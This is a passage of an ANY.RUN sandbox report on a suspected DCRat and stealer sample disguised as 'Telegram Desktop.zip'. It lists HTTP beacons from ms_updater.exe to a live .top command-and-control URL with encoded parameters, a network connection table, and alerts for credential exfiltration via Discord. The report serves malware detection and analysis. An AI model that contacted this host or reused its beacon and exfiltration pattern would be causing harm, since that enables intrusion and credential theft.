xmaZVzYU1EaOdkTpdXaJ9kSp9UaJdlWoZ0RPRTSH10dFdkWzMmaZBTQUlFbSpnT6tmaOlXRq1UeVRVWyUFVNFTUHpFbWpmTopVbJNXSpRVavpWSyEFVZhmRykFejpnTppFRNpmUE1UNJR1T4lFVPl3ZUl1MFRVWtZ1RPtmUq1UMJRVTr5UbNxmSDxUa0sWS2kUaNJTRUlleNdVW5FkaZpmQq50aWdVWohmeNpXWHpVNrpXT3l0RNlXWy4ENBRlWwkERNtmVtlVa3lWSPpUaPlWTE1UbkpWWq50RNNTU61UeZdlTsp1RPdXUtlVMNRUTrZlaNh3ZU90dJRVTq50VadXW610MZpWSzlUaUl2bql0aKRVWqJkeO1mUX1UNN1WT000RNpmVE1kaoRVWzkkeNVTWtpFMjpnTsZFROFza6lleJ1WW4l0QMlGNrlkNJNlT5F1VapmTt1EMFRVW4VlaOlmT610MrRVTyMGVPlmWq5kMZRVWtJ1VPJTVtpVbaRVW0U1VNl2dpl0LJl2TpFERPtmVEp1aCRVT3lEVORzaUplaGdkWzk1RNxGaUpFaGRVW6NmeNJzZqplMRR1T4FlMOdXRql0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp50dFpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiIWY3MjM4YDNlhzNyYjYlNWYmBjYjRDO5QzYiNDOykTNiwiI0ETZ2kTOyEGZzczNkBzM1QmZ4ETOlNWMzgTMxAjNmdjNiVGMwUWYzIiOiMzMldTNwUzM3ITZyUmMxYWM2gTOkVGM1ITYyETO5UGMiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiIGZiRzNhFTO2cTYzYGMkFWYiZWM3IDZlRGM4IWZ0ImYis3W
unknown
text
104 b
unknown
848
ms_updater.exe
GET
200
188.114.96.3:80
http://355212cm.nyashnyash.top/nyashsupport.php?VChnrne0pWN6OUvbyLx=2fpnK3MdUTBHs9KC1JD&8Kp0YJjcTuh6rHq0W3cyb=gW&GNOKtkoHImsz=PBTtKkvEZkSUp7qPN7oSeS6VSk&b4ab245d5ee8fea7e77fa9fa30f5388b=2QTOxgzYmZmZxUzYzcDM5IWMmJWZmZDOidDZ3ATYzgTMyIGMzMWNhVDM0MDNyETNyQzN2YjN&e95b42d7b0485703d17241e76e2b8585=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&c99321a829dc5e86d2744a321e9e8225=d1nI1IDN0E2NlJTZ5IzY5QDMxEDM4QGOkZWOwATMhVjZmBTM1QmZxkDO2IiOiMzMldTNwUzM3ITZyUmMxYWM2gTOkVGM1ITYyETO5UGMiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiIGZiRzNhFTO2cTYzYGMkFWYiZWM3IDZlRGM4IWZ0ImYis3W&a05939b54e910a520ed16f4659e1d224=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
unknown
text
104 b
unknown
848
ms_updater.exe
GET
200
188.114.96.3:80
http://355212cm.nyashnyash.top/nyashsupport.php?VChnrne0pWN6OUvbyLx=2fpnK3MdUTBHs9KC1JD&8Kp0YJjcTuh6rHq0W3cyb=gW&GNOKtkoHImsz=PBTtKkvEZkSUp7qPN7oSeS6VSk&b4ab245d5ee8fea7e77fa9fa30f5388b=2QTOxgzYmZmZxUzYzcDM5IWMmJWZmZDOidDZ3ATYzgTMyIGMzMWNhVDM0MDNyETNyQzN2YjN&e95b42d7b0485703d17241e76e2b8585=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&c99321a829dc5e86d2744a321e9e8225=d1nIlZDOkFTNiZGNwMTOlFjYkljM4IDNlFjN2UDMwUWOlVzYlZWOkFmYlJiOiMzMldTNwUzM3ITZyUmMxYWM2gTOkVGM1ITYyETO5UGMiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiIGZiRzNhFTO2cTYzYGMkFWYiZWM3IDZlRGM4IWZ0ImYis3W
unknown
text
108 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
224.0.0.252:5355
—
—
—
unknown
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
848
ms_updater.exe
104.20.68.143:443
pastebin.com
CLOUDFLARENET
—
unknown
848
ms_updater.exe
188.114.96.3:80
355212cm.nyashnyash.top
CLOUDFLARENET
NL
unknown
1596
RtkBtManServ.exe
162.159.135.233:443
discordapp.com
CLOUDFLARENET
—
unknown
—
—
162.159.135.233:443
discordapp.com
CLOUDFLARENET
—
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.68.143
  • 172.67.34.170
  • 104.20.67.143
shared
355212cm.nyashnyash.top
  • 188.114.96.3
  • 188.114.97.3
unknown
discordapp.com
  • 162.159.135.233
  • 162.159.130.233
  • 162.159.134.233
  • 162.159.133.233
  • 162.159.129.233
whitelisted

Threats

PID
Process
Class
Message
1080
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
848
ms_updater.exe
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
848
ms_updater.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
1080
svchost.exe
Misc activity
ET INFO Observed Discord Domain in DNS Lookup (discordapp .com)
1596
RtkBtManServ.exe
Misc activity
ET INFO Observed Discord Domain (discordapp .com in TLS SNI)
1596
RtkBtManServ.exe
Successful Credential Theft Detected
STEALER [ANY.RUN] Attempt to exfiltrate via Discord
1596
RtkBtManServ.exe
Misc activity
ET INFO Observed Discord Domain (discordapp .com in TLS SNI)
1596
RtkBtManServ.exe
Successful Credential Theft Detected
STEALER [ANY.RUN] Attempt to exfiltrate via Discord
—
—
Misc activity
ET INFO Observed Discord Domain (discordapp .com in TLS SNI)
—
—
Successful Credential Theft Detected
STEALER [ANY.RUN] Attempt to exfiltrate via Discord
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Telegram Desktop.zip